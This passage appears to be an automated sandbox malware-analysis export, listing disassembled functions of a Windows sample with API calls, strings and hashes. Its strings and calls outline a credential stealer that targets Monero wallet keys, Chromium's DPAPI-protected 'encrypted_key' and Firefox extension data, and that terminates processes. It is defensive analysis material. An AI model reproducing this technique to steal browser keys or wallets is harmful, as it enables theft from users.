Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: bd76dfe025d2e0e1e72cfaf3ef431e1d360b81dc018a48d34e24c5b36c65a9be
Instruction ID: 3c4a43b44e5078486e45a0459714c2c94061d431d80032ded876aa684efe4146
Opcode Fuzzy Hash: bd76dfe025d2e0e1e72cfaf3ef431e1d360b81dc018a48d34e24c5b36c65a9be
Instruction Fuzzy Hash: 7A312DB1801218AADB58FB90DC92BDD7779AF04300F804299F60566191DF746B49CF6A

Function 006887C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00690E28,00000000,?), ref: 0068882F
RtlAllocateHeap.NTDLL(00000000), ref: 00688836
wsprintfA.USER32 ref: 00688850

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Strings

%dx%d, xrefs: 00688847

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: d3a10e2f3f7e5d57dd2a3bd9ca43e8d32faccc099f9a96c4cd6d69dcf0d58a9f
Instruction ID: 1224660548422c19cd520126e596e1b2d79859db81dff92b1b7abd48aae1153b
Opcode Fuzzy Hash: d3a10e2f3f7e5d57dd2a3bd9ca43e8d32faccc099f9a96c4cd6d69dcf0d58a9f
Instruction Fuzzy Hash: D02142B1A44208BFDB14DFD4DD45FAEBBB8FB48701F104219F605A7680C779A901CBA5

Function 00688D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0068951E,00000000), ref: 00688D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00688D62
wsprintfW.USER32 ref: 00688D78

Strings

%hs, xrefs: 00688D6F

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 29503fefe7502d3a79c525fd10f92b956cc29187a94b8fe825285d35cf2b572e
Instruction ID: 94162b8ad4b00a849057e9f37f69e6597c122a8534bb6c690d8d04eef21e73df
Opcode Fuzzy Hash: 29503fefe7502d3a79c525fd10f92b956cc29187a94b8fe825285d35cf2b572e
Instruction Fuzzy Hash: 07E08CB0A40208BFDB04DB94DD0EE6977BCFB04702F0002A4FD0987680EA71AE048B96

Function 0067A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 00688B60: GetSystemTime.KERNEL32(00690E1A,012BE078,006905AE,?,?,006713F9,?,0000001A,00690E1A,00000000,?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 00688B86

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0067A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0067A3FF
lstrlen.KERNEL32(00000000), ref: 0067A6BC

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

DeleteFileA.KERNEL32(00000000), ref: 0067A743

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9dc21cb46820795012973694f34a1d12c579605cbbfb7e3f3101fd3b9504072d
Instruction ID: 6b9657be1512116712e6fb1e23c675f5de72ccad7e0efbfa25bf27de808416ca
Opcode Fuzzy Hash: 9dc21cb46820795012973694f34a1d12c579605cbbfb7e3f3101fd3b9504072d
Instruction Fuzzy Hash: B4E1E6B28101149AEB58FBE4DC91DEE733EAF54300F50825EF91676091EF346A49CB76

Function 0067D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 00688B60: GetSystemTime.KERNEL32(00690E1A,012BE078,006905AE,?,?,006713F9,?,0000001A,00690E1A,00000000,?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 00688B86

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0067D481
lstrlen.KERNEL32(00000000), ref: 0067D698
lstrlen.KERNEL32(00000000), ref: 0067D6AC
DeleteFileA.KERNEL32(00000000), ref: 0067D72B

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e95c568b0f83d124678b570162d3fbe8a6f47d6b4fbc218c3fd37a839c7c081a
Instruction ID: cab4bf52703ca543d44b7296b47da7337a07f0d086f371ff965d063c452972bf
Opcode Fuzzy Hash: e95c568b0f83d124678b570162d3fbe8a6f47d6b4fbc218c3fd37a839c7c081a
Instruction Fuzzy Hash: 5E91D1B19101049AEB48FBE4DD96DEE733AAF14300F50475EF91676091EF386A09CB7A

Function 0067D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 00688B60: GetSystemTime.KERNEL32(00690E1A,012BE078,006905AE,?,?,006713F9,?,0000001A,00690E1A,00000000,?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 00688B86

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0067D801
lstrlen.KERNEL32(00000000), ref: 0067D99F
lstrlen.KERNEL32(00000000), ref: 0067D9B3
DeleteFileA.KERNEL32(00000000), ref: 0067DA32

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d39e01202751e9958faa1feef4a115cb30da8b4d511e245a780859ac64e78e26
Instruction ID: 2fd5b5877471c1918a61435c0b614422e24fbae011abb293864606fc674522db
Opcode Fuzzy Hash: d39e01202751e9958faa1feef4a115cb30da8b4d511e245a780859ac64e78e26
Instruction Fuzzy Hash: 9981D3B19101049AEB48FBE4DC96DEE733ABF54300F50465EF91676091EF386A09CB76

Function 0067F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 006799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006799EC
Part of subcall function 006799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00679A11
Part of subcall function 006799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00679A31
Part of subcall function 006799C0: ReadFile.KERNEL32(000000FF,?,00000000,0067148F,00000000), ref: 00679A5A
Part of subcall function 006799C0: LocalFree.KERNEL32(0067148F), ref: 00679A90
Part of subcall function 006799C0: CloseHandle.KERNEL32(000000FF), ref: 00679A9A

Part of subcall function 00688E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00688E52

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00691580,00690D92), ref: 0067F54C
lstrlen.KERNEL32(00000000), ref: 0067F56B

Strings

^userContextId=4294967295, xrefs: 0067F59C
moz-extension+++, xrefs: 0067F5AD

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 352782974a6f84dcfad3e2e294d452e84eee225c7ec06c5296c7320cde686aaa
Instruction ID: c0cb417bdfc3b2aafef19c43a6235726b3a9ef2872af8dbe7b9942b632f37245
Opcode Fuzzy Hash: 352782974a6f84dcfad3e2e294d452e84eee225c7ec06c5296c7320cde686aaa
Instruction Fuzzy Hash: 725121B5D101089AEB44FBE4DC96DED733AAF54300F50862DFC1667191EE386A09CBA6

Function 00683560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 23480eb6535edf93ec1bd71542cabf95f3f3a181cec0da64a545461649ba0dc5
Instruction ID: c530da1b0d93020b35d928d3744d5f427a5fea3b0614e8f985ac5763b7f98406
Opcode Fuzzy Hash: 23480eb6535edf93ec1bd71542cabf95f3f3a181cec0da64a545461649ba0dc5
Instruction Fuzzy Hash: 254130B1D10109AFDF04FFE4C845AEEB77AAF44704F108219E81676350EB75AA46CFA6

Function 00679CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 006799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006799EC
Part of subcall function 006799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00679A11
Part of subcall function 006799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00679A31
Part of subcall function 006799C0: ReadFile.KERNEL32(000000FF,?,00000000,0067148F,00000000), ref: 00679A5A
Part of subcall function 006799C0: LocalFree.KERNEL32(0067148F), ref: 00679A90
Part of subcall function 006799C0: CloseHandle.KERNEL32(000000FF), ref: 00679A9A

Part of subcall function 00688E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00688E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00679D39

Part of subcall function 00679AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ng,00000000,00000000), ref: 00679AEF
Part of subcall function 00679AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00674EEE,00000000,?), ref: 00679B01
Part of subcall function 00679AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ng,00000000,00000000), ref: 00679B2A
Part of subcall function 00679AC0: LocalFree.KERNEL32(?,?,?,?,00674EEE,00000000,?), ref: 00679B3F

Part of subcall function 00679B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00679B84
Part of subcall function 00679B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00679BA3
Part of subcall function 00679B60: LocalFree.KERNEL32(?), ref: 00679BD3

Strings

DPAPI, xrefs: 00679D89
"encrypted_key":", xrefs: 00679D30
, xrefs: 00679DC1

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 69b881c5f942f67036effd8b0aa38915b6e1df59910a74d5f1ef4515f2601aa5
Instruction ID: 83fdb31a83c992e707f353eeb5591e5870502b4ee878ed8c7330f8c265a9a6f6
Opcode Fuzzy Hash: 69b881c5f942f67036effd8b0aa38915b6e1df59910a74d5f1ef4515f2601aa5
Instruction Fuzzy Hash: 293150B5D10109ABCF14EBE4DC85AEFB7BAAF48304F14851DE905A7241FB309A04CBB5

Function 006894D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006894EB

Part of subcall function 00688D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0068951E,00000000), ref: 00688D5B
Part of subcall function 00688D50: RtlAllocateHeap.NTDLL(00000000), ref: 00688D62
Part of subcall function 00688D50: wsprintfW.USER32 ref: 00688D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 006895AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 006895C9
CloseHandle.KERNEL32(00000000), ref: 006895D6

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

